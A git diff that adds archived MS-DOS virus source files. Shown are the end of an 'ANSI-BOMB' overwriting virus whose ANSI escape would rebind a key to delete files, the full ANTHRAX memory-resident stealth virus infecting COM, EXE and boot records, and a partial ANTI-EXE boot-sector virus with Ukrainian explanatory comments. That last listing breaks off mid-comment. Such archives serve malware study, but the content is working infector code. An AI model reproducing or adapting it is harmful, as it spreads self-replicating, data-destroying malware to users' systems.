+;| YOUR VIRUS, BUT I DON'T KNOW HOW OTHER INFECTION SCHEMES WORK. +;| REACTIONS ARE WELCOME. +;| + +START: JMP DOIT + + DB 8,8,8 + DB 'I HOPE YOU DON''T HAVE ANSI, BOY!' + DB 27,'[13;13;"ECHO Y|DEL.";13P' + DB 26 + +MSG: + DB 13,10,'HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500' + DB 13,10,'NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!',13,10,'$' + + DB 'Ё ANSI-BOMB VIRUS BY TESLA 5 Ё' + +DOIT: MOV AH, 4EH + +SEEK: PUSH CS + POP DS + LEA DX,FSPEC + XOR CX,CX + INT 21H + JC DOMSG + + MOV AX,3D02H + MOV DX,9EH + INT 21H + + XCHG AX,BX + + MOV AH,40H + LEA DX,START + MOV CX,PRGLEN + INT 21H + + MOV AH,3EH + INT 21H + + MOV AH,4FH + JMP SEEK + +DOMSG: XOR CX,CX + MOV ES,CX + MOV AL,BYTE PTR ES:[46CH] + CMP AL,30H + JA EINDE + + MOV AH,9 + LEA DX,MSG + INT 21H + +EINDE: RET + +FSPEC DB '*.COM',0 + +PRGLEN EQU $-START + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.anthrax.asm b/MSDOS/Virus.MSDOS.Unknown.anthrax.asm new file mode 100644 index 00000000..cfe97406 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anthrax.asm @@ -0,0 +1,450 @@ +;************************************************************************** +;** ANTHRAX VIRUS ** +;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. ** +;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected** +;** by Scan (McAfee & Assc.) And does copy itself to *.COM ** +;** *.EXE and the Command.Com and is Memory Resident! ** +;** ** +;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer! ** +;** ** +;************************************************************************** + +.286p + +DATA_1E EQU 46CH ; (0000:046C=2DH) +DATA_2E EQU 4 ; (65AC:0004=0) +DATA_3E EQU 7 ; (65AC:0007=0) +DATA_10E EQU 5FEH ; (65AC:05FE=0) + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +ANTHRAX PROC FAR + +START: + JMP LOC_24 ; (043B) + DB 13 DUP (0) + DB 95H, 8CH, 0C8H, 2DH, 0, 0 + DB 0BAH, 0, 0, 50H, 52H, 1EH + DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH + DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH + DB 87H, 44H, 44H, 87H, 54H, 46H + DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H + DB 0CDH, 2FH, 6, 53H, 0B4H, 13H + DB 0CDH, 2FH, 58H, 5AH, 87H, 4 + DB 87H, 54H, 2, 52H, 50H, 51H + DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH + DB 75H, 6CH, 0EH, 7, 0BAH, 80H + DB 0, 0B1H, 3, 0BBH, 77H, 6 + DB 0B8H, 1, 2, 50H, 0CDH, 13H + DB 58H, 0B1H, 1, 0BBH, 0, 4 + DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH + DB 3, 8BH, 0FBH, 0B9H, 5EH, 0 + DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH + DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H + DB 5FH, 0BEH, 12H, 8, 0B9H, 65H + DB 0, 0F3H, 0A4H, 74H, 1EH, 89H + DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH + DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2 + DB 33H, 0DBH, 0B8H, 2, 3, 0CDH + DB 13H, 49H, 0BBH, 0, 4, 0B8H + DB 1, 3, 0CDH, 13H, 49H, 0B4H + DB 19H, 0CDH, 21H, 50H, 0B2H, 2 + DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2 + DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH + DB 0CDH, 21H, 5EH, 1FH, 8FH, 4 + DB 8FH, 44H, 2, 8FH, 44H, 44H + DB 8FH, 44H, 46H, 1FH, 1EH, 7 + DB 95H, 0CBH +copyright DB '(c) Damage, Inc.' + DB 0, 0B0H, 3, 0CFH, 6, 1EH + DB 57H, 56H, 50H, 33H, 0C0H, 8EH + DB 0D8H, 0BEH, 86H, 0, 0EH, 7 + DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH + DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH + DB 74H, 11H, 1EH, 7, 0AFH, 0B8H + DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH + DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H + DB 0A5H, 58H, 5EH, 5FH, 1FH, 7 + DB 2EH, 0FFH, 2EH, 0, 6, 6 + DB 1EH, 57H, 56H, 52H, 51H, 53H + DB 50H, 0EH, 1FH, 0BEH, 6, 6 + DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H + DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH + DB 21H, 26H, 8BH, 47H, 0FEH, 8EH + DB 0D8H, 0BBH, 3, 0, 3, 7 + DB 40H, 8EH, 0D8H, 81H, 7, 80H + DB 0, 0EH, 7, 0B7H, 12H, 0E8H + DB 0F2H, 0, 58H, 5BH, 59H, 5AH + DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH + DB 2EH, 6, 6 + +LOC_RET_1: + RETN + DB 91H, 0AEH, 0B4H, 0A8H, 0BFH + DB 20H, 31H, 39H, 39H, 30H + +ANTHRAX ENDP + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +SUB_1 PROC NEAR + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_RET_1 ; Jump if carry Set + XCHG AX,BX + MOV AX,1220H + INT 2FH ; Multiplex/Spooler al=func 20h + PUSH BX + MOV BL,ES:[DI] + MOV AX,1216H + INT 2FH ; Multiplex/Spooler al=func 16h + POP BX + MOV SI,462H + MOV DX,SI + MOV CL,18H + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + XOR AX,CX + JNZ LOC_7 ; Jump if not zero + PUSH ES + POP DS + MOV BYTE PTR [DI+2],2 + XOR DX,DX ; Zero register +LOC_2: + IN AL,DX ; port 0, DMA-1 bas&add ch 0 + CMP AL,10H + JB LOC_2 ; Jump if below + ADD AX,[DI+11H] + ADC DX,[DI+13H] + AND AL,0F0H + CMP AX,0FB00H + JAE LOC_7 ; Jump if above or = + MOV [DI+15H],AX + MOV [DI+17H],DX + PUSH CS + POP DS + PUSH AX + MOV CL,10H + DIV CX ; ax,dx rem=dx:ax/reg + SUB AX,[SI+8] + MOV CX,AX + SUB AX,[SI+16H] + MOV DS:DATA_2E,AX ; (65AC:0004=0) + LODSW ; String [si] to ax + XOR AX,5A4DH + JZ LOC_3 ; Jump if zero + XOR AX,1717H +LOC_3: + PUSHF ; Push flags + JNZ LOC_4 ; Jump if not zero + MOV [SI],AX + CMP AX,[SI+0AH] + XCHG AX,[SI+12H] + MOV DS:DATA_3E,AX ; (65AC:0007=0) + MOV [SI+14H],CX + MOV CX,4DCH + JZ LOC_5 ; Jump if zero + ADD WORD PTR [SI+8],48H +LOC_4: + MOV CX,65H +LOC_5: + PUSH CX + MOV CX,39BH + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + XOR CX,AX + POP CX + JNZ LOC_6 ; Jump if not zero + MOV DX,400H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + XOR CX,AX +LOC_6: + POP DX + POP AX +LOC_7: + JNZ LOC_11 ; Jump if not zero + MOV ES:[DI+15H],CX + MOV ES:[DI+17H],CX + PUSH DX + POPF ; Pop flags + JNZ LOC_9 ; Jump if not zero + MOV AX,ES:[DI+11H] + MOV DX,ES:[DI+13H] + MOV CH,2 + DIV CX ; ax,dx rem=dx:ax/reg + TEST DX,DX + JZ LOC_8 ; Jump if zero + INC AX +LOC_8: + MOV [SI],DX + MOV [SI+2],AX + JMP SHORT LOC_10 ; (0328) +LOC_9: + MOV BYTE PTR [SI-2],0E9H + ADD AX,328H + MOV [SI-1],AX +LOC_10: + MOV CX,18H + LEA DX,[SI-2] ; Load effective addr + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_11: + OR BYTE PTR ES:[DI+6],40H ; '@' + MOV AH,3EH ; '>' +LOC_12: + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + RETN +SUB_1 ENDP + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +SUB_2 PROC NEAR + MOV DS,CX + MOV BL,DS:DATA_1E ; (0000:046C=34H) + PUSH CS + POP DS + INC DATA_7 ; (65AC:045E=0FC00H) + MOV DX,64BH + CALL SUB_3 ; (036D) + MOV SI,60AH + MOV BYTE PTR [SI],5CH ; '\' + INC SI + XOR DL,DL ; Zero register + MOV AH,47H ; 'G' + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + MOV DX,39BH +LOC_13: + MOV AH,3BH ; ';' + INT 21H ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + JCXZ LOC_14 ; Jump if cx=0 + MOV AH,51H ; 'Q' + INT 21H ; DOS Services ah=function 51h + ; get active PSP segment in bx + MOV DS,BX + MOV DX,80H + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +SUB_3: + MOV AH,1AH + JMP SHORT LOC_12 ; (0339) +LOC_14: + JC LOC_17 ; Jump if carry Set + MOV SI,39CH + XOR DL,DL ; Zero register + MOV AH,47H ; 'G' + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H) +LOC_15: + MOV CL,32H ; '2' + MOV DX,29DH + MOV AH,4EH ; 'N' + JZ LOC_20 ; Jump if zero + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JC LOC_17 ; Jump if carry Set +LOC_16: + MOV DX,64BH + MOV AX,4F01H + MOV SI,3DCH + MOV DI,668H + STOSB ; Store al to es:[di] + MOV CL,0DH + REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] + JZ LOC_20 ; Jump if zero + CMP CH,[DI-2] + JE LOC_20 ; Jump if equal + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JNC LOC_16 ; Jump if carry=0 + XOR AL,AL ; Zero register + JMP SHORT LOC_15 ; (0380) + DB 2AH, 2EH, 2AH, 0 +LOC_17: + MOV CL,41H ; 'A' + MOV DI,39CH + CMP CH,[DI] + MOV AL,CH + MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H) + JZ LOC_23 ; Jump if zero + REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al + DEC DI + MOV CL,41H ; 'A' + MOV AL,5CH ; '\' + STD ; Set direction flag + REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al + LEA SI,[DI+2] ; Load effective addr + MOV DI,3DCH + CLD ; Clear direction +LOC_18: + LODSB ; String [si] to al + TEST AL,AL + STOSB ; Store al to es:[di] + JNZ LOC_18 ; Jump if not zero + MOV DX,2CDH + XOR CL,CL ; Zero register + JMP SHORT LOC_13 ; (035E) + DB 2EH, 2EH, 0 +LOC_19: + MOV DX,64BH + MOV AH,4FH ; 'O' +LOC_20: + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JC LOC_17 ; Jump if carry Set +DATA_6 DW 69BEH + DB 6, 0BFH, 0DCH, 3, 80H, 3CH + DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH + DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H + DB 0DBH +LOC_21: + LODSB ; String [si] to al + TEST AL,AL + STOSB ; Store al to es:[di] + JNZ LOC_21 ; Jump if not zero + DEC SI + STD ; Set direction flag + LODSW ; String [si] to ax + LODSW ; String [si] to ax + CLD ; Clear direction + CMP AX,4558H + JE LOC_22 ; Jump if equal + CMP AX,4D4FH + JNE LOC_19 ; Jump if not equal +LOC_22: + PUSH BX + CALL SUB_1 ; (0262) + POP BX + XOR CX,CX ; Zero register + MOV ES,CX + MOV AL,ES:DATA_1E ; (0000:046C=38H) + PUSH CS + POP ES + SUB AL,BL + CMP AL,BH + JB LOC_19 ; Jump if below +LOC_23: + MOV DX,80H + MOV CL,3 + MOV BX,200H + MOV AX,301H + INT 13H ; Disk dl=drive 0: ah=func 03h + ; write sectors from mem es:bx + MOV DX,60AH + JMP LOC_13 ; (035E) +SUB_2 ENDP + +LOC_24: + XCHG AX,BP + MOV DI,100H + MOV BX,[DI+1] + SUB BX,228H + MOV AX,DI + LEA SI,[BX+3FDH] ; Load effective addr + MOVSW ; Mov [si] to es:[di] + MOVSB ; Mov [si] to es:[di] + XCHG AX,BX + MOV CL,4 + SHR AX,CL ; Shift w/zeros fill + MOV CX,DS + ADD AX,CX + MOV DX,0BH + JMP SHORT LOC_26 ; (04CD) + DB 0B8H, 0D0H +DATA_7 DW 0FC00H +DATA_8 DW 8587H + DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H + DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH + DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H + DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H + DB 74H, 1, 91H, 0B2H, 80H, 0B8H + DB 3, 3, 0CDH, 13H, 91H, 84H + DB 0E4H, 75H, 2 + DB 2CH, 40H +LOC_25: + DEC AH + MOV DATA_6,AX ; (65AC:03E9=69BEH) + INC DATA_8 ; (65AC:0460=8587H) + XOR DH,DH ; Zero register + MOV CX,1 + MOV BX,400H + MOV AX,301H + INT 13H ; Disk dl=drive ?: ah=func 03h + ; write sectors from mem es:bx + MOV DL,DH + RETF ; Return far + DB 41H, 4EH, 54H, 48H, 52H, 41H + DB 58H, 0EH, 1FH, 83H, 2EH, 13H + DB 4, 2, 0CDH, 12H, 0B1H, 6 + DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0 + DB 4, 0BEH, 0, 7CH, 0B9H, 0 + DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H + DB 8EH, 0D8H, 0BAH, 27H, 4 +LOC_26: + PUSH CX + PUSH BX + PUSH AX + PUSH DX + RETF ; Return far + DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H + DB 5 + +LOCLOOP_27: + ADD SI,0EH + LODSW ; String [si] to ax + CMP AL,80H + JE LOC_29 ; Jump if equal + LOOP LOCLOOP_27 ; Loop if cx > 0 + +LOC_28: + INT 18H ; ROM basic +LOC_29: + XCHG AX,DX + STD ; Set direction flag + LODSW ; String [si] to ax + XCHG AX,CX + MOV AX,201H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0) + JNE LOC_28 ; Jump if not equal + PUSH ES + PUSH DS + POP ES + POP DS + XOR DH,DH ; Zero register + MOV CX,2 + XOR BX,BX ; Zero register + MOV AX,202H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JMP $-10FH + DB 0, 0, 0, 0, 0CDH, 20H + DB 0CCH + DB 112 DUP (1AH) + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.anti-exe.asm b/MSDOS/Virus.MSDOS.Unknown.anti-exe.asm new file mode 100644 index 00000000..67c5c61b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anti-exe.asm @@ -0,0 +1,460 @@ +; +;---------------------> Boot Virus ANTI-EXE <----------------------- +; +;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994 +; У звязку з великою поширенўстю лўтеатури по вўрусам (також ∙∙ де- +;фўцитом) багато людей вирўшило попробувати себе в ролў авторўв ком- +;п'ютерних вўрусўв. Здебўльшого написанў вўруси дуже примўтивнў,тоб- +;то можуть так заразити файл що потўм його вже не вилўчиш,а засўкти +;його як кажеться раз плюнути.Щоб пўдвищити квалўфўкацўю цих програ- +;мўстўв не тўльки у написаннў вўрусўв,а й щоб вони змогли почерпнути +;для себе щось нове я вирўшив випустити декўлька фйлўв з документа- +;цўїю про деякў дуже "популярнў" вўруси. Вони будуть представленў у +;у виглядў .ASM файлўв з поясненням роботи у коментарах,а також дякў +;факти, варўанти захисту ў лўкуваня вўд даного вўруса. +; Почну з бутового вўруса ANTI-EXE.Цей вўрус в свўй час був дуже по- +;ширений, рўдко траплявся компютер який був ним не заражений. В мене +;самого ним була заражена бўльша половина дискет кўнець кўнцўв вўн +;менў надоўв ў ви бачите те що ви бачите (його ассемблерний лўстўнг) +;В "квиряннў" менў дуже допомогла программа BD . Це їдиний дебугер +;який пўдтримуї конвейїр команд, не перехоплю переривання 1 ў 3 , не +;затираї стек, дозволяї трасувати загрузку комп'ютера ў т.д. Бўльш +;докладнўше про його роботу читайте в документацў∙. +; +; О П И С Р О Б О Т И В Ў Р У С А +; Резидентний неопасний (а може й опасний, як хто розумўї) вўрус. +;Довжина 512 байт. Записуїться в boot-секторў дискетиў MBR вўнчесте- +;ра при читаннў з них (int 13h,ah = 2).Оригўнальний boot-сектор збе- +;рўгаї на вўнчестерў по адресу 0/0/13 (головка/трек/сектор),а на ди- +;скетў адрес змўнний.Перехоплюї переривання int 13h ,зменшуї об'їм +;памятў на один кўлобайт. +; Процес початково∙ загрузки на IBM - сумўсних комп'ютерах скла- +;даїться з считування boot-сектора,який розмўщуїться по абсолютному +;адресу 0000Ж7С00, ў передаї туди управлўння.Коли проходить загруз- +;ка з зараженого диска, замўсть boot-сектора считуїться тўло вўру- +;са. Потўм на початок вўруса передаїться управлўння ў вўрус робить +;свою "чорну" справу. +; А саме вўн зменшуї на 1 об'їм памятў (слово по адресу 0000:0413 +;в шуснадцятковўй) резервуючи тим самим 1 Кбайт пўд свою копўю. +;... to be continue +; +; +; +; Документацўя Lviv (C) 1994 +; вўд 13/04/94 Dentist & Ko. + +cseg segment word public 'CODE' + assume cs:cseg,ds:cseg + org 0h +NewVector EQU 0D3h ;номер вектора яким користуїмся замiсть + ;дiйсного значення вектора OldVector +OldVector EQU 013h ;номер вектора який змiнюїм +ForSegment EQU 002h ;в DWORD комiрках сегмент записуїться в стар- +ForOffset EQU 000h ;ших двох байтах а змiщення в молодших +MemSizeAdr EQU 413h ;адрес комiрки в сегментi 0000 де зберiга- + ;їться розмiр памятi в кiлобайтах +BootOffset EQU 07C00h ;в сегментi 0000 адрес з якого загружаїться + ;BOOT сектор + +;*************** почеток тiла вiруса **************** + jmp instaljator1 ;по цих перших чотирьох байтах ANTI-EXE-шка + db 04Dh ;визначаї чи диск заражений чи нў + +OldBoot dw ? ;В першому байтi номер сектора + ;а в другому байтi номер дорожки +OldBootHead db ? ;а тут номер головки (сторони) + ;якi вказують на сектор з + ;нормальним загрузчиком +ForFunction dw ? ;Тут зберiгаїм значення AX з яким + ;було викликано переривання 13h + +;******* Блок параметрўв диску (для дискети) ******** + org 0000Bh +SectorSize dw 00200h ;кўлькўсть байт в секторў +ClusterSize db 002h ;кўлькўсть секторўв в кластерў +ReservedSectors dw 00001h ;кўлькўсть зарезервованих секторўв (перед FAT) +QuantityFAT db 002h ;кўлькўсть FAT-ўв +RootSize dw 00070h ;кўлькўсть 32-байтових елементўв + ;корневого каталога +TotSectors dw 002D0h ;кўлькўсть секторўв на носў∙ (роздўлў диску) +Media db 0FDh ;дескриптор носўя +FATSize dw 00002h ;кўлькўсть секторўв в однўй FAT +SectorsPerTrek dw 00009h ;кўлькўсть секторўв на треку +QuantityHead dw 00002h ;кўлькўсть головок (поверхонь) +HidenSectors dw 00000h ;кўлькўсть схованих секторўв + +OffsetSectorSize EQU 00Bh +OffsetClusterSize EQU 00Dh +OffsetReservedSectors EQU 00Eh +OffsetQuantityFAT EQU 010h +OffsetRootSize EQU 011h +OffsetTotSectors EQU 013h +OffsetMedia EQU 015h +OffsetFATSize EQU 016h +OffsetSectorsPerTrek EQU 018h +OffsetQuantityHead EQU 01Ah +OffsetHidenSectors EQU 01Ch + +Signatura db 04Dh,05Ah,040h,000h,088h,001h,037h,00Fh,0E0h + +;************ Новий обробчик переривання ************ +New_Int13 proc far + cmp ah,000F9h ;Якщо викликаїться переривання int 13h ў ре- + jz End_Int13__ ;гўстр AH = 0F9h (деяка не ўснуюча функцўя) + ;то прапорець ZF встановлюїться в одиницю + ;ў повертаїться в виконувану програму. + ;Тим самим можна визначити чи вўрус ї + ;в памятў + + mov cs:ForFunction,ax ;Викликаї ўстине переривання для зада- + int NewVector ;них параметрўв ў якщо виникла помилка то + jc End_Int13__ ;вийти з переривання ўнакше ўдем дальше + + pushf ;Якщо переривання було викликано при AH НЕрўв- + cmp byte ptr cs:ForFunction[1],002h ;ному 2 (функцўя читання сек- + jnz End_Int13_ ;тора) то йдем на вихўд ўнакше дальше -- обро- + ;бим це "свято" + +;************* Може попартачити трохи ? ************* + push cx ;Може й попартачим,подивимся "по таймеру" + push si ;але поки що збережем у стеку регўстри + push di ;якў будем використовувати + push ds + + sub cx,cx ;Комўрка памятў з адресом 0000h:046Ch ї не що ўнше як + mov ds,cx ;лўчильник ўмпульсўв таймера через кожнў 55 mc з почат- + test byte ptr ds:[046ch],003h ;ку ўнўцўалўзацў∙ (4 байта). + jz NePartachyty ;Якщо в молодшому словў молодшў два бўта рўвнў + ;нулю то перейдем ў не будем партачити + ;получаїться що в 3/4 випадках будем партачити + ;а в 1/4 випадках не будем. + + push cs ;Манўпулюїм з ригўстрами так щоб регўстрова пара + pop ds ;ES:DI - вказувала на початок першого загруженого сек- + mov di,bx ;тора, а DS:SI на початок сўгнатури по присутностў + ;яко∙ на початку сектора ў будем партачити + +Cont: lea si,Signatura ;в циклў кожен раз в SI загружаїм адрес сўгнат- + mov cx,8 ;ури, в CX ∙∙ довжина + push di ;DI вказуї на початок сектора в памятў в якому + repe cmpsb ;в даний момент шукаїться сўгнатура (з змўщ. 0) + pop di ;ў якщо знаходиться то управлўння передаїться + jz Partachyty ;на мўтку Partachyty (виходимо з циклу) ўнакше + add di,200h ;коректуїм вўдповўдним чином DI так щоб вўн + ;вказував на наступний сектор в памятў + dec byte ptr cs:[ForFunction] ;в цўй змўннўй мўститься кўль- + jnz Cont ;кўсть зчитаних секторўв ў прокручуїм цикл + ;по всўх секторах + + jmp short NePartachyty ;ANTI-EXE-шку напевно скомпўлювали на + nop ;Macro Assembler-ў,тому що такий код може зробити тўльки вўн + ;замўсть команди jmp NePartachyty (ўдўотўзм - правда ???) + +Partachyty: ;Партачення заключаїться в тому що в перший байт сектора в яко- + stosb ;му знайшли сўгнатуру записуїм вмўстиме регўстра AL (але це + ;тўльки в памятў на диску нўчого не мўняїм) +NePartachyty: + pop ds ;Вўдновлюїм вмўстиме регўстрўв + pop di ;якими ми користувались + pop si + pop cx + + cmp cx,00001h ;Якщо було викликано переривання з регўстрами + jnz End_Int13_ ;тикими що вказують на читання сектора (-ўв) + cmp dh,000h ;починаючи з сектора з номером 0/0/1 (boot- + jnz End_Int13_ ;сектор) то на пўдпрограму обробки,яка або + call ToWork ;його заразить (якщо вўн ще не заражений) або + ;"пўдсуне його справжнї вмўстиме" (якщо вўн + ;вже заражений) + +;*************** Вихўд з переривання **************** +End_Int13_: ;Тўльки через цей код вўрус повертаї управлўння + popf ;процесу який викликав це переривання. +End_Int13__: ;Ї двў точки виходу якў залежать вўд того чи ї + ret 2 ;у стеку записане слово стану процессора (PSW) +New_Int13 endp + +;********** Обробка читання вектора 0/0/1 *********** +ToWork proc near +;************ Збережем у стеку регўстри ************* + push ax ;Ну зрозумўло що ми робим?! + push bx ;Ми зберўгаїм в стеку регўстри + push cx ;якими будем коритуватись + push dx + push ds ;При входженнў в цю пўдпрограму + push es ;всў регўстри мають твкўж значення + push si ;як ў при виклику переривання + push di ;AH = 0, AL = ?, ES:BX = буфер для читання + ;CX = 1, DH = 0, DL = ? + +;******* Провўрим чи даний boot вже заражений ******* + push es ;Порўвняїм перших чотири байти зчитаного boot- + pop ds ;сектора з першими чотирма байтами вўруса + mov ax,cs:[0000h] ;якщо вони спўвпадають то будем"вважати що + cmp ax,[bx] ;даний boot-сектор вже заражений ў будем вико- + jnz NoInfected ;нувати наступний блок операторўв який пўдстав- + mov ax,cs:[0002h] ;ляї нормальний boot-сектор,ўнакше будем вважа- + cmp ax,[bx+2] ;ти що сектор не зараженийў перейдем на мўтку + jnz NoInfected ;NoInfected (не заражений) там ми його заразим + +;********* Пўдсунем нормальний boot сектор ********** + mov cx,OldBoot[bx] ;Опредўлимо де на даному диску нахо- + mov dh,OldBootHead[bx] ;диться нормальний boot-сектор у вўд- + mov ax,00201h ;повўднў регўстри занисем цў данў + int NewVector ;викличем переривання читання сектора + jmp short ExitFromThere ;ў йдем на вихўд з пўдпрограми + +;********* Заразим не заражений boot-сектор ********* +NoInfected: + cmp dl,001h ;В DL - номер пристрою вводу/виводу (0=A,1=B) + ja ExitFromThere ;заражати тўльки якщо пристрўй дисковўд A або B + ;ўнакше вийти з переривання + +;*********** Знайти кластер для "хвоста" ************ + mov ax,[bx+OffsetFATSize] ;AX - розмўр FAT в секторах + mul byte ptr [bx+OffsetQuantityFAT] ;AX - розмўр FAT помножений на + ;кўлькўсть FAT-ўв ў це рўвне + ;кўлькостў секторўв видўлених + ;пўд всў FAT-и + add ax,[bx+OffsetReservedSectors] ;AX - додамо ще крўм того кўль- + ;кўсть зарезервованих секторўв + ;перед FAT-ами (MBR,BOOT,ў т.д) + push dx ; + mov cl,4 ; + mov dx,[bx+OffsetRootSize] ;DX - кўлькўсть елементўв кор- + ;невого каталога (в 32-байтних + ;структурах + shr dx,cl ;роздўливши DX на 16 будем мати + ;кўлькўсть секторўв видўлену + ;пўд ROOT + add ax,dx ;ў це також додаїм до AX + ;отже AX рўвне кўлькостў сек- + ;торўв видўленўй пўд : + ;FAT,ROOT,BOOT... + dec ax ;корекцўя необхўдна для бўльш + ;простих розрахункўв + mov cx,[bx+OffsetSectorsPerTrek] ;CX - кўлькўсть секторўв на + push cx ;одному треку + sal cx,1 ;CX - кўлькўсть секторўв на + ;однўй дорожцў але з двох + ;сторўн + sub dx,dx ;будем дўлити DX:AX на CX + ;число в AX вже ї,а щоб ча- + ;сом не виникло переповнення то + ;ми й вживаїм регўстрову пару + ;DX:AX ,але старше слово маї + ;бути рўвним нулю + div cx ;пўсля дўлення в AL - номер + ;треку (AH = 0) + ;DX - кўлькўсть секторўв вже + ;занятих на данўй дорожцў + ;на двох сторонах, + ;але менше на 1 ??? + pop cx ;CX - кўлькўсть секторўв на + push ax ;одному треку + mov ax,dx ;остачу вўд дўлення в DX знову + sub dx,dx ;заносимо в регўстрову пару + ;DX:AX ў дўлим на кўлькўсть се- + ;кторўв на однўй дорожцў + div cx ;пўсля дўлення в AL - номер + ;сторони + ;DL - кўлькўсть секторўв вже + ;занятих на данўй дорожцў + ;але менше на 1 ??? + + mov dh,al ;в AL - номер сторони + mov cl,dl ;в DL - номер сектора-1 + pop ax ;в AL - номер дорожки + mov ch,al + inc cl ;в CL - вўдкоректований номер + ;сектора + pop ax + mov dl,al ;в AL - номер пристрою вводу/ + ;виводу + ;всў регўстри якў визначають + ;сектор вказують на останнўй + ;сектор з вже видўлених + ;це переважно останнўй сектор + ;ROOT запису (переважно ROOT + ;розмўщуїться пўсля FAT + mov cs:OldBootHead,dh ;записуїм в вўдповўднў комўрки + mov cs:OldBoot,cx ;номера: сторони,дорожки ў + ;сектора де ми будем зберўгати + ;оригўнальний BOOT-сектор + mov ax,00301h ;ў оригўнальний BOOT записуїм + int NewVector ;видўлене мўсце. + jc ExitFromThere ;Ну якщо помилка запису то + ;вийти звўдси а ўнакше + ;запишем вўрус на мўсце BOOT-а + push cs ;але спочатку ўз нормального + pop es ;BOOT-сектора перешлем таблицю + cld ;параметрўв дискети на ∙∙ ж + mov di,offset ForFunction ;мўсце але в тўлў вўруса + mov si,bx ;довжина 